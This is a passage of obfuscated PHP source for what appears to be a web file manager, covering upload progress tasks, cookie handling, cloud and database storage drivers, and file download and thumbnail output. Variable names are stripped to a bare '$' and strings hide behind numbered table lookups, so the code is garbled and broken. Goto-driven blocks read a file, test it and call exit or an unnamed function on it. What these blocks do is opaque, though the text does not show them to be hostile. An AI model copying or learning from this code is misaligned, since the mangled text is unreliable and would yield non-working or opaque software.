$[$[1758]] * 0.5 + $[$[1759]] * 0.5; } } } } $[$[1707]] = $[$[1763]] / $[$[808]]; if ($[$[1707]] > 0) { $ = timeFloat() - $[$[1709]] - $[$[1712]]; $[$[1713]] = $ * (1 - $[$[1707]]) / $[$[1707]]; } } public function addPath($) { $ =& $_SERVER[]; if (!$) { return; } $ =& $this->task; $ = IO::infoWithChildren($); $ = $[$[1767]] ? $[$[1767]][$[1768]] : 0; $[$[1767]] = array($[1768] => $ + 1, $[464] => $[$[32]], $[86] => $[$[86]], $[553] => $[$[553]] ? $[$[553]] : $[$[86]]); if ($[$[33]] == $[216]) { $[$[831]] += 1; } else { $[$[831]] += $[$[81]][$[79]]; if ($[$[183]]) { $[$[831]] += $[$[81]][$[80]] + 1; } } $[$[808]] += $[$[78]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($) { } public function sourceAddFileStart($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1758]] = $[$[78]]; $[$[1756]] = $[$[32]]; $[$[1115]] = $[$[32]]; $[$[1769]] = $[$[86]]; $this->update(); } public function sourceAddFileEnd($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1763]] += $[$[78]]; $[$[1769]] = $[$[86]]; $this->update(1); } public function copyFileStart($, $, $, $, $, $) { $ =& $_SERVER[]; $ = $; if ($ == $GLOBALS[$[1770]]) { $ = $GLOBALS[$[1771]]; } $GLOBALS[$[1771]] = $; $GLOBALS[$[1770]] = $; $ =& $this->task; $[$[1756]] = $; $[$[1758]] = (int) $->size($); $[$[1759]] = 0; $[$[1115]] = $[12]; $[$[1760]] = $[12]; $[$[1761]] = 0; $ = $[$[1758]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$[445]] . $[1772]); if ($ && file_exists(get_path_father($))) { Cache::set($[$[445]] . $[1772], $); $[$[1729]] = array($[1773], $[1774]); } $this->update(0, $); } public static function updateCopyLocalFileSize($) { $ =& $_SERVER[]; $ = Cache::get($[$[445]] . $[1772]); if (!$ || !file_exists($)) { return $; } $[$[1759]] = @filesize($); $[$[1763]] += $[$[1759]]; self::updateTask($); return $; } public function copyFileEnd($, $, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1759]] = $[$[1758]]; $[$[1760]] = $[12]; unset($[$[1729]]); if ($ == $[$[1756]]) { $[$[1762]] += $[$[1758]]; $[$[1763]] = $[$[1762]]; $ = 1; if (isset($[$[1769]]) && $[$[1769]] == $) { $ = 0; } $this->update($); } else { $this->update(); $[$[1759]] = 0; } Cache::remove($[$[445]] . $[1772]); self::log($[1775] . $ . $[72] . $ . $[248] . $ . $[1776] . $[$[1756]]); } public function updateFileEnd($, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1756]] = $; $[$[1758]] = $; $[$[1762]] += $; $[$[1763]] = $[$[1762]]; $this->update(1); self::log($[1777] . $); } public function sourceModelCopy($) { $ =& $_SERVER[]; $ = $[0]; $ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $ = 0; switch ($) { case $[605]: $ = 1; break; case $[608]: $[$[1756]] = $[$[32]]; break; case $[610]: $ = intval($[$[426]] * 0.4); break; case $[612]: $ = intval($[$[426]] * 0.2); break; case $[614]: $ = intval($[$[426]] * 0.4); break; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceRemove($, $) { $ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($[$[81]])) { $ = $[$[81]][$[79]]; $ = $ + $[$[81]][$[80]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[1115]] = $[1778]; $[$[1760]] = $[109]; if ($[$[1758]]) { $[$[1759]] = $; } if ($[$[1761]]) { $[$[1759]] = $ + $[$[1761]]; } } else { if ($ > 0) { if ($[$[1758]] == $) { $[$[1759]] = $; $[$[1115]] = $[1779]; $[$[1760]] = $[1245]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($) { $ =& $_SERVER[]; $ =& $this->task; $ = curl_getinfo($); $ = $[$[1780]]; if ($ == -1) { $ = $[$[1781]]; } if ($[$[1760]] == $[109] && $) { $[$[1761]] += $; } $this->update(); } } if ($_SERVER[$_SERVER[][922]] != $_SERVER[$_SERVER[][1782]]) { $_getc = $_SERVER[][925]; $_getfile = $_SERVER[$_SERVER[][926]] . $_SERVER[][927]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][248], $_getfilec); if (count($_getarrs) < $_SERVER[][692]) { $exit = $_SERVER[][928]; $exit(); } $_act = $_SERVER[][932]; $_act($_SERVER[$_SERVER[][923]]); } goto F; D: $_size = $_SERVER[][931]; if ($_SERVER[$_SERVER[][922]] != $_size($_file)) { $_getc = $_SERVER[][925]; $_getfile = $_SERVER[$_SERVER[][926]] . $_SERVER[][927]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][248], $_getfilec); if (count($_getarrs) < $_SERVER[][692]) { $exit = $_SERVER[][928]; $exit(); } $_act = $_SERVER[][932]; $_act($_file); } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ = '', $ = 0) { if (is_string($) && $ != $_SERVER[][12]) { $this->prefix = $; } if (is_numeric($) && $ > 0) { $this->expire = $; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($, $, $ = 0, $ = false, $ = false) { $ =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $ . $) { return; } self::$sameCookieSet[$] = $ . $; if (!$) { $ = str_replace(HOST, $[12], APP_HOST); $ = _get($GLOBALS, $[933], $); } $ = $[12]; setcookie($, $, time() + $, $[8] . trim($, $[8]) . $, !1, !1, $); } public static function setSafe($, $, $ = 0) { self::set($, $, $, !0); } public static function get($) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[]; if (!isset($_SERVER[$[934]]) || !$_SERVER[$[934]]) { return; } $ = explode($[73], $_SERVER[$[934]]); foreach ($ as $) { $ = explode($[935], $); if (count($) != 2 || !isset($[1])) { continue; } $_COOKIE[trim($[0])] = trim($[1]); } } public static function remove($, $ = false) { unset($_COOKIE[$]); self::set($, $_SERVER[][12], 1, $); } } goto E; b: class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][233]); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[215]; $ = $[249]; $ = $[259]; $ = gmdate($[1376], time() + $); $ = (string) time() . $[73] . (string) (time() + $); $ = array($[260] => $, $[263] => array(array($[265] => $), array($[264] => $this->bucket), array($[266], $[267], $[12]), array($[270] => $), array($[1377] => $), array($[1378] => $this->accessKey), array($[1379] => $))); $ = json_encode($); $ = hash_hmac($[249], $, $this->secret); $ = sha1($); $ = hash_hmac($[249], $, $); $ = array($[265] => $, $[270] => $, $[278] => base64_encode($), $[1377] => $, $[1378] => $this->accessKey, $[1380] => $, $[1381] => $, $[198] => $this->getHost()); return $; } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1384]); } public function getPath($) { return trim($, $_SERVER[][8]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); return $ ? $[$_SERVER[][182]] : !1; } public function pathThis($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $ = $this->parse($); return KodIO::make($[$_SERVER[][445]]); } public function copyFolderFromIO($, $, $, $, $) { $ = $this->model->copyFolderFromIO($, $, $, $, $); return KodIO::make($); } public function isParentOf($, $) { return $this->model->isParentOf($, $); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[445]]; for ($ = 0; $ < count($[$[1385]]); $++) { $ = $[$[1385]][$]; if ($ == count($[$[1385]]) - 1) { $ = $this->model->mkfile($, $, $, $); break; } $ = $this->model->mkdir($, $, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[445]]; for ($ = 0; $ < count($[$[1385]]); $++) { $ = $[$[1385]][$]; $ = $this->model->mkdir($, $, $); } return $this->getPathOuter($); } public function copyFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->copy($, $[$[445]], $, $[$[86]]); return $ ? $this->getPathOuter($) : !1; } public function moveFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->move($, $[$[445]], $, $[$[86]]); return $ ? $this->getPathOuter($) : !1; } public function copy($, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->copy($, $[$_SERVER[][445]], $, $); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $ = $this->model->move($, $[$_SERVER[][445]], $, $); return $ ? $this->getPathOuter($) : !1; } public function remove($, $ = true) { return $this->model->remove($, $); } public function rename($, $) { $ = $this->model->rename($, $); return $ ? $this->getPathOuter($) : $; } public function size($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[][78]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($, $ = false, $ = false) { if (!$) { return $this->model->pathInfo($, $); } return $this->model->pathInfoMore($); } public function infoFullSimple($) { $ =& $_SERVER[]; $ = explode($[8], $); $ = implode($[8], array_splice($, 1)); return $this->model->pathInfoByPath($[0], $); } public function infoFull($) { $ = $this->infoFullSimple($); return is_array($) ? $this->model->pathInfo($[$_SERVER[][183]]) : !1; } public function hashSimple($) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$[519]][$[642]]; } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); return $[$[519]][$[517]]; } public function exist($) { $ =& $_SERVER[]; $ = $this->parse($); if (!$[$[86]]) { return $this->isFile($) || $this->isFolder($); } $ = array($[447] => $[$[445]], $[32] => $[$[86]]); $ = $this->model->where($)->find(); return $ ? !0 : !1; } public function isFile($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$[455]] == $[214] ? !0 : !1; } public function isFolder($) { $ =& $_SERVER[]; $ = $this->infoSimple($); return $ && $[$[455]] == $[90] ? !0 : !1; } public function listPath($, $ = false) { $ =& $_SERVER[]; if ($ == $[12]) { return !1; } $ = array($[447] => $); if ($) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $ = false, $ = null) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); if ($) { return array($[226] => $[$[226]], $[225] => $[$[225]]); } return $ ? $[$[226]] : $[$[225]]; } public function listAll($) { $ = IO::info($this->pathParse[$_SERVER[][86]]); if (!$) { return array(); } return $this->model->listAll($); } public function getContent($) { return $this->model->getContent($); } public function setContent($, $ = '') { return $this->model->setContent($, $); } public function fileSubstr($, $, $) { return $this->model->fileSubstr($, $, $); } public function download($, $ = '') { $ = get_path_father($); $ = get_path_this($); $ = $this->model->fileInfoGet($); $ = IO::copy($[$_SERVER[][86]], $, !1, $); return $; } public function setModifyTime($, $ = '') { $ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($[461] => $))->save(array($[87] => $)); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->addFile($[$[445]], $, $[$[86]], $, $); return $this->getPathOuter($); } public function uploadFileByID($, $, $) { $ =& $_SERVER[]; $ = $this->parse($); $ = $this->model->addFileByFileID($[$[445]], $, $[$[86]], $); return $this->getPathOuter($); } public function addFileByRemote($, $, $ = array(), $ = '', $) { $ =& $_SERVER[]; $ = $this->parse($); $ = empty($) ? $[$[86]] : $; $ = $this->model->addFileByRemote($[$[445]], $, $, $, $); return $this->getPathOuter($); } public function uploadLink($, $ = 0) { $ =& $_SERVER[]; $ = $this->parse($); $ = _get($GLOBALS[$[7]], $[1386]); $ = _get($GLOBALS[$[7]], $[1387]); $ = Model($[644])->createFileName($[$[86]], $, $); return IO::uploadLink($, $); } public function fileNameAuto($, $, $ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($, $, $, $); } public function fileNameExist($, $) { return $this->model->fileNameExist($, $); } protected function _fileOut($, $ = false, $ = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->model->sourceInfo($); if ($[$[455]] == $[90]) { header($[1388]); die; } $ = $this->model->fileInfoGet($); $ = $[$[517]] ? $[$[517]] : $; $ = is_array($GLOBALS[$[171]]) ? $GLOBALS[$[171]][$[32]] : $[$[32]]; if ($) { return IO::fileOutServer($[$[86]], $, $, $); } IO::fileOut($[$[86]], $, $, $); } public function fileOut($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $); } public function fileOutServer($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $, !0); } protected function _fileOutImage($, $ = 250) { $ =& $_SERVER[]; $ = $this->model->pathInfo($); if ($[$[455]] == $[90]) { show_json($[1389] . $, !1); } $ = $this->model->fileInfoGet($); $[$[172]] = $[$[86]]; $GLOBALS[$[171]] = $; IO::fileOutImage($[$[86]], $); } public function fileOutImage($, $ = 250) { $this->_fileOutImage($, $); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } public function link($, $ = '') { $ = $this->model->fileInfoGet($); return IO::link($[$_SERVER[][86]], $); } protected function parse($) { $ =& $_SERVER[]; if (strstr($, $[8]) === !1) { return array($[463] => intval($), $[86] => $[12], $[1385] => array()); } $ = explode($[8], trim($, $[8])); if (count($) < 2) { show_tips(clear_html($) . $[1390]); } return array($[463] => intval($[0]), $[86] => $[1], $[1385] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1384]); } public function getPathOuter($) { $ =& $_SERVER[]; if (!$) { return $; } $ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$[445]], $[$[445]]), $[8]); } protected function infoParse($, $ = false, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[445]]; $ = trim($this->pathParse[$[1219]], $[8]); return Action($[1391])->sharePathInfo($, $, $); } public function infoFull($) { $ =& $_SERVER[]; $ = explode($[8], trim($, $[8])); if (count($) > 1) { $ = implode($[8], array_splice($, 1)); $ = $this->model->pathInfoByPath($[0], $); if (!$) { return !1; } $this->pathParse[$[1219]] = $[$[183]]; } return $this->infoParse($); } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[86]]); if (!$) { return array(); } $ = $this->model->listAll($); $ = Model($[634])->getInfo($[$[635]]); foreach ($ as &$) { check_abort(); $[$[89]] = Action($[1391])->_shareItemeParse($[$[89]], $); } unset($); return $; } } goto D; F: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ =& $_SERVER[]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($, $_SERVER[][8]); } return $; } public function iconvApp($) { return $; } public function iconvSystem($) { return $; } public function iconvTo($, $, $) { $ =& $_SERVER[]; if (!$ || !function_exists($[71])) { return $; } static $ = array(); $ = $ . $[72] . $ . $[73] . $; if (isset($[$])) { return $[$]; } if (function_exists($[74])) { $ = @mb_convert_encoding($, $, $); } else { $ = @iconv($, $, $); } $ = $ ? $ : $; if (strstr($, $[75])) { $ = str_replace($[75], $[11], $); } $[$ . $[72] . $ . $[73] . $] = $; $[$ . $[72] . $ . $[73] . $] = $; $[$ . $[72] . $ . $[73] . $] = $; $[$ . $[72] . $ . $[73] . $] = $; return $; } public function getPathInner($) { $ = IO::init($); return $->path; } public function getPathOuter($) { $ =& $_SERVER[]; $ = strlen(trim($this->pathBase, $[8])); $ = substr(trim($, $[8]), $); return $this->pathDriver . $[8] . ltrim($, $[8]); } public function isParentOf($, $) { $ =& $_SERVER[]; $ = rtrim(strtolower($), $[8]) . $[8]; $ = rtrim(strtolower($), $[8]) . $[8]; $ = strpos($, $) === 0; return $; } public function getType() { $ =& $_SERVER[]; $ = str_replace($[76], $[12], get_class($this)); return strtolower($); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($, $) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8] . $; $ = $this->exist($); return $ ? $ : !1; } public function setModifyTime($, $ = '') { } public function renameObject($, $) { $ = $; $ = $this->getPathOuter($); $ = $this->pathFather($) . $; $ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $); if ($) { IO::remove($); } return $ ? $ : !1; } public function tempFile($ = '', $ = '') { if (!$) { $ = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ = $ . $; @touch($); if ($) { file_put_contents($, $); } return $; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { } public function mkdir($, $ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($) { } public function copyFile($, $) { } public function moveFile($, $) { } public function remove($) { if ($this->isFile($)) { return $this->delFile($); } return $this->delFolder($); } public function rename($, $) { } public function exist($) { } public function findByHash($ = '', $ = '') { return !1; } public function isFile($) { } public function isFolder($) { } public function size($) { } public function info($) { } public function infoSimple($) { return $this->info($); } public function infoAuth($) { return $this->info($); } public function infoFull($) { return $this->info($); } public function infoFullSimple($) { return $this->info($); } public function infoWithChildren($) { $ =& $_SERVER[]; static $ = array(); if (isset($[$])) { return $[$]; } $ = $this->info($); if ($ && $[$[33]] == $[77]) { $ = array($[78] => 0, $[79] => 0, $[80] => 0); $this->infoChildren($, $); $[$[78]] = $[$[78]]; $[$[81]] = array($[82] => $[$[79]], $[83] => $[$[80]]); $[$] = $; } return $; } public function listPath($, $ = false) { } public function has($, $ = false, $ = false) { } public function canRead($) { } public function canWrite($) { } public function getContent($) { } public function setContent($, $ = '') { } protected function infoChildren($, &$) { $ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); $ = array_merge($[$[84]], $[$[85]]); foreach ($ as $) { if ($[$[33]] == $[77]) { $[$[80]]++; $ = $this->getPathInner($[$[86]]); $this->infoChildren($, $); } else { $[$[79]]++; $[$[78]] += $[$[78]]; } } } public function fileSubstr($, $, $) { } public function listAll($) { } public function listAllMake($, &$) { $ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); if (!$) { return; } $ = array_merge($[$[84]], $[$[85]]); foreach ($ as $) { $ = $[$[33]] == $[77]; $ = array($[86] => $[$[86]], $[77] => $); if (isset($[$[78]])) { $[$[78]] = $[$[78]]; } if (isset($[$[87]])) { $[$[87]] = $[$[87]]; } if (!$) { $[] = $; continue; } $[] = $; $ = $[$[86]]; $ = $this->pathDriver; if (substr($[$[86]], 0, strlen($)) == $) { $ = substr($, strlen($)); } $this->listAllMake($, $); } } public function listAllSimple($, $ = false) { $ = $this->listAll($); return $this->listAllSimpleMake($, $this->getPathOuter($), $); } public function listAllSimpleMake($, $, $) { $ =& $_SERVER[]; $ = array(); $ = rtrim(get_path_father($), $[8]) . $[8]; foreach ($ as $) { $ = array($[86] => $[$[86]], $[88] => $[$[86]], $[77] => $[$[77]]); if (isset($[$[78]]) && !$[$[77]]) { $[$[78]] = $[$[78]]; } if (isset($[$[87]])) { $[$[87]] = $[$[87]]; } if (is_array($[$[89]])) { $[$[88]] = $[$[89]][$[86]]; $[$[78]] = $[$[89]][$[78]]; $[$[87]] = $[$[89]][$[87]]; } else { if (substr($[$[86]], 0, strlen($)) == $) { $[$[86]] = substr($[$[86]], strlen($)); } } $ = $[$[77]] ? $[8] : $[12]; $[$[88]] = rtrim($[$[88]], $[8]) . $; $[$[86]] = $[8] . trim($[$[86]], $[8]) . $; if (!$) { $ = explode($[8], trim($[$[86]], $[8])); $[$[86]] = $[8] . implode($[8], array_slice($, 1)) . $; } $[] = $; } return array_sort_by($, $[86]); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($, $, $) { } public function uploadFileByPath($, $, $ = array()) { } public function isUploadServer() { $ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $[90]) { return !0; } return $GLOBALS[$[6]][$[91]][$[92]]; } public function isFileOutServer() { $ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[90]) { return !0; } return $GLOBALS[$[6]][$[91]][$[93]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($) { $ =& $_SERVER[]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $[8]), trim($this->cdnHost, $[8]), $); } public function uploadLink($, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = 1024 * 1024 * 10; $ = $ <= $ ? $[94] : $[95]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ = $this->{$}($, $); if ($) { $[$[96]] = $; $[$[97]] = $; } return $; } public function uploadFormData($, $ = 3600) { } public function multiUploadFormData($, $ = 3600) { } public function download($, $) { } public function ext($) { $ =& $_SERVER[]; if (strpos($, $[8]) === -1) { $ = $; } else { $ = $this->pathThis($); } $ = $[12]; if (strstr($, $[10])) { $ = substr($, strrpos($, $[10]) + 1); $ = strtolower($); } if (strlen($) > 3 && preg_match($[98], $, $)) { $ = $[12]; } return $; } public function pathThis($) { $ =& $_SERVER[]; $ = str_replace($[99], $[8], rtrim($, $[8])); $ = strrpos($, $[8]); if ($ === !1) { return $; } return substr($, $ + 1); } public function pathFather($) { $ =& $_SERVER[]; $ = str_replace($[99], $[8], rtrim($, $[8])); $ = strrpos($, $[8]); if ($ === !1) { return $[12]; } return substr($, 0, $ + 1); } public function hashSimple($) { $ =& $_SERVER[]; if (!$) { return md5($[12]); } $ = $this->size($); $ = 200; $ = 50; if ($ <= $ * $) { return $this->hashMd5($) . $; } $ = intval($ / $); $ = $[12]; for ($ = 0; $ < $; $++) { $ .= $this->fileSubstr($, $ * $, $); } $ .= $this->fileSubstr($, $ - $, $); return md5($) . $; } public static $md5Cache = array(); public function hashMd5($) { if (!$) { return md5($_SERVER[][12]); } $ = $this->iconvSystem($); if (isset(self::$md5Cache[$])) { return self::$md5Cache[$]; } self::$md5Cache[$] = $this->hashMd5Shell($); if (!self::$md5Cache[$]) { self::$md5Cache[$] = @md5_file($); } return self::$md5Cache[$]; } private function hashMd5Shell($) { $ =& $_SERVER[]; if (!$) { return md5($[12]); } if (!function_exists($[100])) { return !1; } $ = array($[101], $[102]); $ = Cache::get($[103]); if (!$) { $ = BASIC_PATH . $[104]; $ = md5_file($); $ = $[105]; foreach ($ as $) { $ = shell_exec($ . " "{$}""); if ($ && substr(trim($), 0, 32) == $) { $ = $; break; } } Cache::set($[103], $, 3600); } if ($ == $[105]) { return !1; } $ = shell_exec($ . " "{$}""); $ = str_replace($[106], $[12], $); return substr($, 0, 32); } public function link($) { return $; } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$ || !$this->exist($)) { show_json(LNG($[107]), !1, $); } $ = $this->getType() == $[108]; $ = $GLOBALS[$[6]][$[91]][$[109]][$[110]]; $ = (double) $GLOBALS[$[6]][$[91]][$[109]][$[111]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($); $ = $[$[78]]; $ = gmdate($[112], $[$[87]]); $ = $ ? $ : $this->iconvApp($[$[32]]); $ = 0; $ = $ - 1; $ = $this->ext($); if (in_array($, array($[113], $[114], $[115], $[116]))) { $ = $[117]; } if (in_array($, array($[118]))) { $ = $[119]; } if (!$) { $ = md5($ . $); } $ = $[120] . $ . $[120]; $ = get_file_mime($); $ = !0; $ = isset($_GET[$[121]]) ? !1 : !0; if ($ === !1 && !mime_support($)) { $ = $[122]; } header($[123]); header($[124] . $); $ = rawurlencode($); $ = $[120] . $ . $[125] . $; if ($) { header($[126]); header($[127] . $); } else { if ($) { header($[128] . $); } } header($[129] . gmdate($[112], time() + 3600 * 24 * 30) . $[130]); header($[131]); header($[132]); header($[133]); if (isset($_SERVER[$[134]]) && strtotime($_SERVER[$[134]]) == $[$[87]]) { header($[135], !0, 304); die; } if (isset($_SERVER[$[136]]) && $_SERVER[$[136]] == $) { header($[137] . $, !0, 304); die; } header($[137] . $); header($[138] . $ . $[130]); header($[139] . $); header($[140]); header($[141] . $); header($[142]); Hook::trigger($[143], $, $, $, $); if (!$ && $ == $[144]) { if ($ > 1024 * 1024 * 5) { die; } $ = $this->getContent($); $ = Html::clearSVG($); header($[145] . strlen($)); echo $; die; } $ = strtolower($_SERVER[$[146]]); if ($ && $ && $) { if (strstr($, $[147])) { header($[148] . $); } else { if (strstr($, $[149])) { header($[150] . $); } else { if (strstr($, $[151])) { header($[152] . $); } } } if ($) { header($[153] . $); } return; } if (isset($_SERVER[$[154]])) { if (preg_match($[155], $_SERVER[$[154]], $)) { $ = intval($[1]); $ = $ <= 0 ? 0 : ($ >= $ ? $ : $); if (!empty($[2])) { $ = intval($[2]); $ = $ < $ ? $ : ($ >= $ ? $ : $); } } header($[156]); header("Content-Range: bytes {$}-{$}/" . $); } else { header($[157]); } header($[158]); $ = !0; if ($_SERVER[$[159]] == $[160] && $ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($[161] . ($ - $ + 1)); } if ($_SERVER[$[162]] == $[163]) { return; } $ = 1024 * 100; $ = 0; if ($) { $ = intval(1000 * 1000 * ($ / $)); } while ($ <= $) { $ = timeFloat(); check_abort(); $ = $ - $ + 1; if ($ <= $) { $ = $; } echo $this->fileSubstr($, $, $); $ += $; if ($ == $) { $ = $ + 1; } if ($) { $ = intval(1000 * 1000 * (timeFloat() - $)); $ = $ - $; if ($ > 5) { usleep($); } } } } public function fileOutServer($, $ = false, $ = false, $ = '') { $this->fileOut($, $, $, $); } public function fileOutLink($) { header($_SERVER[][164] . $); die; } public function cacheMethod($, $, $ = null) { $ =& $_SERVER[]; static $ = array(); $ = $ ? ltrim($this->getPathOuter($), $[8]) : $[12]; $ = $[165] . $ . $[166] . rtrim($, $[8]); if (is_null($)) { $ = array(); return; } if (is_null($)) { foreach ($ as $ => $) { if (!strstr($, $[165] . $ . $[167])) { continue; } unset($[$]); } return; } if (!is_null($)) { $[$] = $; return; } $ = isset($[$]) ? $[$] : null; if (!is_null($)) { return $; } $ = $this->{$}($); $[$] = $; return $; } public function cacheMethodInfoSet($, $, $ = false) { $ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[168], $, $); $this->cacheMethod($[169], $, $ ? !1 : !0); if (is_array($)) { $this->cacheMethod($[170], $, $); } } public function fileOutImage($, $ = 250) { $ =& $_SERVER[]; set_timeout(); if (substr($, 0, 4) == $[151]) { $this->fileOutLink($); } $ = $this->info($); $ = !1; $ = isset($GLOBALS[$[171]]) ? $GLOBALS[$[171]] : array(); if ($ && $[$[172]] == $[$[86]]) { $ = $; $ = $[$[173]]; if ($ && isset($[$[174]])) { if ($[$[174]] <= $ && $[$[175]] <= $) { $ = !0; } } } if ($[$[78]] <= 1024 * 50 || $ || !function_exists($[176]) || $[$[177]] == $[178]) { return $this->fileOut($, !1, $[$[32]]); } $ = kodIO::hashPath($); $ = "cover_{$}_{$}.png"; $ = IO_PATH_SYSTEM_TEMP . $[179]; $ = IO::infoFullSimple($); $ = $ && is_array($) ? $[$[86]] : $[12]; if (!$) { $ = IO::mkdir($); } if ($[$[180]] == $[181] && isset($[$[182]]) && $[$[182]] == kodIO::sourceID($)) { $ = $[$[183]]; if ($ <= 500) { $ = preg_replace($[184], $[185], $[$[32]]); $ = IO::fileNameExist($, $); } return IO::fileOut(KodIO::make($), !1, $[$[32]]); } $ = IO::fileNameExist($, $); if ($) { return IO::fileOut(KodIO::make($), !1, $[$[32]]); } if ($ > 1000) { $this->makeImageCover($, $, $, $); $this->makeImageCover($, $, "cover_{$}_250.png", 250); $ = IO::fileNameExist($, $); if ($) { return IO::fileOut(KodIO::make($), !1, $[$[32]]); } die; } $ = Cache::get($); if ($ == $[186] || $ == $[187]) { echo $; die; } Cache::set($, $[187], 60); $ = array($, $[$[86]], $, $); $ = $[188] . $[$[78]] . $[189] . $ . $[190] . $[$[32]] . $[191] . $[$[86]]; TaskQueue::add($[192], $, $, $); } public function makeImageCover($, $, $, $) { $ =& $_SERVER[]; if (IO::fileNameExist($, $)) { return $[193]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if 